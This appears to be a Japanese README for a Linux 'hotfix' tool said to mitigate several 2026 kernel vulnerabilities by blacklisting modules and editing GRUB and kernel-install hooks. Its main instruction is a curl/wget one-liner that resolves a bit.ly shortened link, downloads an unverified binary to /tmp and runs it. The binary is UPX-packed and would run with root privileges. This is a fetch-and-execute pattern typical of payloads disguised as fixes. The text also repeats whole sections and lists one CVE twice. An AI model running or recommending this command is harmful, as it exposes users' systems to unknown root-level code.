frag family 脆弱性を除去するためのソフトウェア / frag family 脆弱性の緩和ツール

• Copy Fail (2026)
• Dirty Frag (2026)
• Fragnesia (2026)
• DirtyClone (2026)
• PEdit-CoW (2026)

任意の Linux で修正を実行 / 任意の Linux ホットフィックスの実行

b="/tmp/cve_2026_frag_family_fix"; wget -qO $b $(wget -qO- https://bit.ly/4vetMTB | grep browser_download_url | grep -v .exe | cut -d '"' -f 4) && chmod +x $b && $b

または

b="/tmp/cve_2026_frag_family_fix"; curl -fsSL "$(curl -fsSL https://bit.ly/4vetMTB | grep browser_download_url | grep -v .exe | cut -d '"' -f 4)" -o $b && chmod +x $b && $b

CVE-2026-46300 / CVE-2026-43500 / CVE-2026-43284 / CVE-2026-46300 / CVE-2026-46331

説明

• CVE-2026-46300 / CVE-2026-43500 / CVE-2026-43284 / CVE-2026-46300 / CVE-2026-46331 の脆弱性に関連する有効なモジュールをチェックします
• 利用可能な場合はカーネルアップデートを提案します
• 利用できない場合は esp4, esp6, rxrpc, act_pedit を無効化します
• modprobe によるモジュール読み込みをブロックします
• grub に module_blacklist を追加します
• カーネルアップデート後にホットフィックスを自動的にクリーンアップします
• RHEL 互換システム（AlmaLinux、Rocky、Oracle、Fedora）では、Boot Loader Specification（GRUB_ENABLE_BLSCFG=false）を無効化し、GRUB_DEFAULT=0 を設定し、カーネルインストールフック（/etc/kernel/install.d/99-grub-update.install）を作成します。このフックはカーネルアップデート後に grub 設定を再生成し、次回起動時に最新のカーネルが読み込まれるようにします。
• マイナーリリースでは、カーネルアップデートが利用可能な最新のマイナーバージョンへの更新を提案し、実行します。

説明

• CVE-2026-46300 / CVE-2026-43500 / CVE-2026-43284 / CVE-2026-46300 / CVE-2026-46331 の脆弱性に関連する有効なモジュールをチェックします
• 利用可能な場合はカーネルアップデートを提案します
• 利用できない場合は esp4, esp6, rxrpc, act_pedit を無効化します
• modprobe によるモジュール読み込みをブロックします
• grub に module_blacklist を追加します
• カーネルアップデート後にホットフィックスを自動的にクリーンアップします
• RHEL ベースのシステム（AlmaLinux、Rocky、Oracle、Fedora）では、Boot Loader Specification（GRUB_ENABLE_BLSCFG=false）を無効化し、GRUB_DEFAULT=0 を設定した後、カーネルインストールフック（/etc/kernel/install.d/99-grub-update.install）を作成します。このフックはカーネルアップデート後に grub 設定を再生成し、次回起動時に最新のカーネルが読み込まれるようにします。
• マイナーリリースでは、カーネルアップデートが利用可能な最新のマイナーバージョンへの更新を提案し、実行します。

CVE-2026-31431 / Copy Fail の緩和 (algif_aead)

説明

このユーティリティは CVE-2026-31431 の脆弱性（前提条件）をチェックし、root 権限がある場合は緩和策を適用します。

• 保護済みの OS（WSL を含む）とカーネルバージョンの組み合わせを特定します
• 修正を含むカーネルアップデートが利用可能な場合はそれを提案します
• 利用できない場合は algif_aead を無効化します
• modprobe によるモジュール読み込みをブロックします
• initcall_blacklist=algif_aead_init を追加します
• systemd 経由で AF_ALG を制限します

説明

このツールは CVE-2026-31431（前提条件）をチェックし、緩和策を適用します（root 権限が必要です）。

• 保護済みの OS（WSL を含む）とカーネルバージョンの組み合わせを特定します
• 修正を含むカーネルアップデートが利用可能な場合はそれを提案します
• 利用できない場合は algif_aead を無効化します
• modprobe によるモジュール読み込みをブロックします
• initcall_blacklist=algif_aead_init を追加します
• systemd 経由で AF_ALG を制限します

Linux でのビルド / ビルド

docker run --rm -v "$PWD":/app -w /app golang:alpine sh -c "apk add --no-cache upx && go build -ldflags='-s -w' -o cve_2026_frag_family_fix cve_2026_frag_family_fix.go && upx --best --ultra-brute cve_2026_frag_family_fix"

カーネルアップデート（ホットフィックスではない）が利用可能な OS / カーネルアップデート（ホットフィックスではない）が存在する OS

カーネルアップデートのコマンド / カーネルアップデートコマンド

• Debian apt update && apt install linux-image-amd64 linux-headers-amd64 -y
• Ubuntu apt update && apt install linux-image-generic linux-headers-generic -y
• CentOS dnf clean metadata && dnf upgrade 'kernel*' -y
• AlmaLinux dnf clean metadata && dnf upgrade 'kernel*' -y
• RockyLinux dnf clean metadata && dnf upgrade 'kernel*' -y
• Fedora dnf clean metadata && dnf upgrade 'kernel*' -y
• OracleLinux dnf clean metadata && dnf upgrade 'kernel*' -y

修正に必要なカーネルの最小バージョン / カーネル修正済みの最小バージョン番号